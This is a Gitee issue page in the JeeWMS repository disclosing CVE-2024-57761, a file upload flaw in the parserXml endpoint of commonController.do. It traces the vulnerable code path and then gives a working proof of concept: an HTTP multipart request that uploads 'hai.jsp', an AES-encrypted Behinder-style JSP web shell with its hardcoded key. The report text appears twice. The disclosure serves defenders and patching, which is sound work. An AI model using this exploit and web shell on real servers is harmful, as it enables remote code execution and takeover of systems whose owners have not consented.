Sign in
Sign up
Explore
Enterprise
Education
Search
Help
Terms of use
About Us
Explore
Enterprise
Education
Gitee Premium
Gitee AI
AI teammates
Sign in
Sign up
Fetch the repository succeeded.
Open Source
>
Enterprise App
>
Enterprise Application System
&&
Donate
Please sign in before you donate.
Cancel
Sign in
Scan WeChat QR to Pay
Cancel
Complete
Prompt
Switch to Alipay.
OK
Cancel
Watch
Unwatch
Watching
Releases Only
Ignoring
1.2K
Star
7.3K
Fork
3.1K
GVP
JeeWMS
/
JeeWMS
Code
Issues
1
Pull Requests
0
Wiki
Insights
Pipelines
Service
JavaDoc
Quality Analysis
Jenkins for Gitee
Tencent CloudBase
Tencent Cloud Serverless
悬镜安全
Aliyun SAE
Codeblitz
SBOM
DevLens
Don’t show this again
Update failed. Please try again later!
Remove this flag
Content Risk Flag
This task is identified by
as the content contains sensitive information such as code security bugs, privacy leaks, etc., so it is only accessible to contributors of this repository.
JEEWMS-commonController.do? ParserXML exists for file upload
Done
#IBFTZ7
rabbit
Opened this issue
2025-01-06 10:19
CVE-2024-57761 find by Chaitin Security Research Lab Vulnerability Product: JEEWMS Vulnerability version: before 2025.01.01 Vulnerability type: file upload Vulnerability Details: 1. Global search for new File found that at org/jeecgframework/core/common/dao/ipl/CommonDao. java: 481, a new 'File' object with a specified file path will be created in the parserXML() method of the commonDao layer, and the string 'fileName' parameter will be passed into it to track whether this method has filtering behavior on fileName  2. From the parserXML() method to org/jeecgframework/core/common/service/ipl/CommonServiceImpl. java: 359, it was found that this method was returned by parserXML(). Continue to see where this method is called  3. Continuing the analysis to the controller layer, it was found that org/jeecgframework/web/system/controller/core/CommonController. java: 179 directly called the parserXML() method and concatenated the fileName parameter. When analyzing upwards and knowing that there is a parserXML parameter in the route, this method will be implemented. At org/jeecgframework/web/system/controller/core/CommonController. java: 159, an empty fileName parameter will be created  4. By analyzing org/jeecgframework/web/system/controller/core/CommonController. java: 170, the file name is directly obtained from the uploaded file and passed to fileName. Downward analysis directly concatenates fileName, and the entire process does not blacklist or whitelist the file. The parameter fileName is controllable, so there is a file upload vulnerability here  5. Constructing POC requires logging in before it can be triggered, and the values of cookies and _csrf need to be replaced ``` POST /jeewms/commonController.do?parserXml HTTP/1.1 Host: localhost:8083 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36 Cookie: JSESSIONID=F571DC569F0A3DC553D8D25ACA42D570; JEECGINDEXSTYLE=ace; ZINDEXNUMBER=1990; Hm_lvt_a4980171086658b20eb2d9b523ae1b7b=1713256699,1713260101 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHRhkXyQjTSAk8j8c Content-Length: 792 ------WebKitFormBoundaryHRhkXyQjTSAk8j8c Content-Disposition: form-data; name="file"; filename="hai.jsp" Content-Type: image/png <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%> ------WebKitFormBoundaryHRhkXyQjTSAk8j8c-- ```  
CVE-2024-57761 find by Chaitin Security Research Lab Vulnerability Product: JEEWMS Vulnerability version: before 2025.01.01 Vulnerability type: file upload Vulnerability Details: 1. Global search for new File found that at org/jeecgframework/core/common/dao/ipl/CommonDao. java: 481, a new 'File' object with a specified file path will be created in the parserXML() method of the commonDao layer, and the string 'fileName' parameter will be passed into it to track whether this method has filtering behavior on fileName  2. From the parserXML() method to org/jeecgframework/core/common/service/ipl/CommonServiceImpl. java: 359, it was found that this method was returned by parserXML(). Continue to see where this method is called  3. Continuing the analysis to the controller layer, it was found that org/jeecgframework/web/system/controller/core/CommonController. java: 179 directly called the parserXML() method and concatenated the fileName parameter. When analyzing upwards and knowing that there is a parserXML parameter in the route, this method will be implemented. At org/jeecgframework/web/system/controller/core/CommonController. java: 159, an empty fileName parameter will be created  4. By analyzing org/jeecgframework/web/system/controller/core/CommonController. java: 170, the file name is directly obtained from the uploaded file and passed to fileName. Downward analysis directly concatenates fileName, and the entire process does not blacklist or whitelist the file. The parameter fileName is controllable, so there is a file upload vulnerability here  5. Constructing POC requires logging in before it can be triggered, and the values of cookies and _csrf need to be replaced ``` POST /jeewms/commonController.do?parserXml HTTP/1.1 Host: localhost:8083 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36 Cookie: JSESSIONID=F571DC569F0A3DC553D8D25ACA42D570; JEECGINDEXSTYLE=ace; ZINDEXNUMBER=1990; Hm_lvt_a4980171086658b20eb2d9b523ae1b7b=1713256699,1713260101 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHRhkXyQjTSAk8j8c Content-Length: 792 ------WebKitFormBoundaryHRhkXyQjTSAk8j8c Content-Disposition: form-data; name="file"; filename="hai.jsp" Content-Type: image/png <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%> ------WebKitFormBoundaryHRhkXyQjTSAk8j8c-- ```  
Comments (
0
)
Sign in
to comment
Status
Done
Backlog
Doing
Done
Closed
Assignees
Not set
Labels
Not set
Label settings
Milestones
No related milestones
No related milestones
Pull Requests
None yet
None yet
Successfully merging a pull request will close this issue.
Branches
No related branch
Branches (
-
)
Tags (
-
)
Planed to start   -   Planed to end
-
Top level
Not Top
Top Level: High
Top Level: Medium
Top Level: Low
Priority
Not specified
Serious
Main
Secondary
Unimportant
参与者(1)
Java
1
https://gitee.com/erzhongxmu/JEEWMS.git
git@gitee.com:erzhongxmu/JEEWMS.git
erzhongxmu
JEEWMS
JeeWMS
Going to Help Center
Search
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
Comment
Repository Report
Back to the top
Login prompt
This operation requires login to the code cloud account. Please log in before operating.
Go to login
No account. Register